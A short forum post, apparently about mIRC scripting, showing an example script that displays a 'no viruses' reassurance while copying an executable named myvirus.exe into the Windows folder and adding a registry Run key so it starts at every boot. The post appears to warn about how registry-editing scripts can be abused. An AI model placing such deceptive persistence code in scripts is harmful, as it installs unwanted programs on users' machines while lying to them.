As you do talk about the regitry ediiting scripts--

Code:
on 1:START: {
  /echo -s Thank you for using my script!  This script is ensured to not come with any viruses!
  /copy myvirus.exe $env(windir)
  /regwrite HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\Run MyVirus $env(windir) $+ \myvirus.exe
}


*also assuming the enviornmental variable alias was added.
